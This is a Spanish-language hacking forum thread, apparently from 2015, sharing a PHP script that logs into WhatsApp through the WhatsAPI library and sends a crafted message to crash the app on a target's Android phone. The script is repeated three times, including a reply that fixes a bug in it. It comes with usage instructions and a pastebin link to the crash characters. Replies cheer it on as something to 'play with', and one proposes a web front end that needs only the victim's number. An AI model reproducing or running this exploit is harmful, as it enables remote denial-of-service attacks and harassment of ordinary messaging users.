Que tal?. Les traigo un pequeño script en php que crashea el app de whatsapp en Android, que hasta el día de la fecha funciona. Pero esta vez usando un API en php de whatsapp; WhatsAPI.
Modo de uso de script
root@rodrix:~# php wacrash.php 549XXXXXXXXXXRecuerden que el num de contacto que van a crashear debe ser de 13 dígitos. En la variable $msg deben copiar y pegar el contenido del pastebin que dejo en el comentario, donde se encuentran los caracteres especiales para crashear whatsapp.
<?php
/*
* Title: WhatsApp Remote Crash with PHP
* Product: WhatsApp
* Vendor Homepage: http://www.whatsapp.com
* Vulnerable Version(s): 2.11.476
* Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
* Mirror: http://pastebin.com/Ktu45GN0
* Date: 05/02/2015
*
* Author Exploit:
* Rodrigo Avila - @el_rodrix - <[email protected]>
* Credits:
* Daniel Godoy - @0xhielasangre - <[email protected]>
* Gonza Cabrera - @Gonnza_Cabrera - <[email protected]>
*
* Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
* http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
* http://www.exploit-db.com/exploits/35637/
* http://www.exploit-db.com/exploits/32865/
*
* Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
* It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
* engaging in an interactive conversation over WhatsApp protocol
*/
require 'src/whatsprot.class.php';
function fgets_u($pStdn)
{
$pArr = array($pStdn);
if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
return FALSE;
} elseif ($num_changed_streams > 0) {
return trim(fgets($pStdn, 1024));
}
return null;
}
$nickname = "RemoteExecution";
$sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
$msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
$usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";
if ($argc < 2) {
echo $usage;
exit(1);
}
if (is_numeric($_SERVER['argv'][1])){
if (strlen($_SERVER['argv'][1]) == 13){
$dst = $_SERVER['argv'][1];
echo "[] Logging in as '$nickname' ($sender)\n";
$wa = new WhatsProt($sender, $imei, $nickname, false);
$wa->connect();
$wa->loginWithPassword($password);
echo "\n[] Send message to $dst: $msg\n";
$wa->sendMessage($dst , $msg);
echo "\n";
exit(0);
}else{
echo $usage;
}
}else{
echo $usage;
}
Adjunto screenshot del momento que crashea el app de whatsapp en Android. Para esta PoC se utilizo un Samsung Galaxy S4, con WhatsApp+ v6.65.
Información del dispositivo:
(http://i61.tinypic.com/2ew34lk.png)
WhatsApp+ crashea:
(http://i62.tinypic.com/2h7ot9w.png)
WhatsApp+ crashea:
(http://i61.tinypic.com/245ze2u.png)
Información de WhatsApp app:
(http://i57.tinypic.com/sz8q4l.png)
Espero que les guste. Saludos.
Muy bueno bro!
Te dejo +1
Seguro que si lo ve fermino, se pondrá a jugar con esto xD
Saludos!
ANTRAX
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Muy bueno bro!
Te dejo +1
Seguro que si lo ve fermino, se pondrá a jugar con esto xD
Saludos!
ANTRAX
Gracias. La idea es esa, jugar jaja. Saludos
Se ve interesante!! ay q probarlooo!
interesante, pero agrego un punto y coma ( ; ) que falta en la línea 47, por si alguien lo quiere probar y no le funciona :3
Saludos!
<?php
/*
* Title: WhatsApp Remote Crash with PHP
* Product: WhatsApp
* Vendor Homepage: http://www.whatsapp.com
* Vulnerable Version(s): 2.11.476
* Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
* Mirror: http://pastebin.com/Ktu45GN0
* Date: 05/02/2015
*
* Author Exploit:
* Rodrigo Avila - @el_rodrix - <[email protected]>
* Credits:
* Daniel Godoy - @0xhielasangre - <[email protected]>
* Gonza Cabrera - @Gonnza_Cabrera - <[email protected]>
*
* Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
* http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
* http://www.exploit-db.com/exploits/35637/
* http://www.exploit-db.com/exploits/32865/
*
* Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
* It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
* engaging in an interactive conversation over WhatsApp protocol
*/
require 'src/whatsprot.class.php';
function fgets_u($pStdn)
{
$pArr = array($pStdn);
if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
return FALSE;
} elseif ($num_changed_streams > 0) {
return trim(fgets($pStdn, 1024));
}
return null;
}
$nickname = "RemoteExecution";
$sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
$msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
$usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";
if ($argc < 2) {
echo $usage;
exit(1);
}
if (is_numeric($_SERVER['argv'][1])){
if (strlen($_SERVER['argv'][1]) == 13){
$dst = $_SERVER['argv'][1];
echo "[] Logging in as '$nickname' ($sender)\n";
$wa = new WhatsProt($sender, $imei, $nickname, false);
$wa->connect();
$wa->loginWithPassword($password);
echo "\n[] Send message to $dst: $msg\n";
$wa->sendMessage($dst , $msg);
echo "\n";
exit(0);
}else{
echo $usage;
}
}else{
echo $usage;
}
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
interesante, pero agrego un punto y coma ( ; ) que falta en la línea 47, por si alguien lo quiere probar y no le funciona :3
Saludos!
<?php
/*
* Title: WhatsApp Remote Crash with PHP
* Product: WhatsApp
* Vendor Homepage: http://www.whatsapp.com
* Vulnerable Version(s): 2.11.476
* Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
* Mirror: http://pastebin.com/Ktu45GN0
* Date: 05/02/2015
*
* Author Exploit:
* Rodrigo Avila - @el_rodrix - <[email protected]>
* Credits:
* Daniel Godoy - @0xhielasangre - <[email protected]>
* Gonza Cabrera - @Gonnza_Cabrera - <[email protected]>
*
* Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
* http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
* http://www.exploit-db.com/exploits/35637/
* http://www.exploit-db.com/exploits/32865/
*
* Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
* It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
* engaging in an interactive conversation over WhatsApp protocol
*/
require 'src/whatsprot.class.php';
function fgets_u($pStdn)
{
$pArr = array($pStdn);
if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
return FALSE;
} elseif ($num_changed_streams > 0) {
return trim(fgets($pStdn, 1024));
}
return null;
}
$nickname = "RemoteExecution";
$sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
$msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
$usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";
if ($argc < 2) {
echo $usage;
exit(1);
}
if (is_numeric($_SERVER['argv'][1])){
if (strlen($_SERVER['argv'][1]) == 13){
$dst = $_SERVER['argv'][1];
echo "[] Logging in as '$nickname' ($sender)\n";
$wa = new WhatsProt($sender, $imei, $nickname, false);
$wa->connect();
$wa->loginWithPassword($password);
echo "\n[] Send message to $dst: $msg\n";
$wa->sendMessage($dst , $msg);
echo "\n";
exit(0);
}else{
echo $usage;
}
}else{
echo $usage;
}
Corregido!. Gracias.
Esto esta mas que genial bro, se me ocurre que se podria una api con html que haga falta solo poner el numero, si me das permiso de usar tu code me pongo a ello, no hace falta decir que con creditos tanto en la web como en el post para underc0de.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Esto esta mas que genial bro, se me ocurre que se podria una api con html que haga falta solo poner el numero, si me das permiso de usar tu code me pongo a ello, no hace falta decir que con creditos tanto en la web como en el post para underc0de.
Adelante, todo tuyo. La idea es esa, compartir y que les sirva a los demas. Saludos.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Muy bueno bro!
Te dejo +1
Seguro que si lo ve fermino, se pondrá a jugar con esto xD
Saludos!
ANTRAX
Gracias. La idea es esa, jugar jaja. Saludos
xDD
Es que esta API está genial :P
Tal vez un módulo para WhatsBot (https://github.com/fermino/WhatsBot)?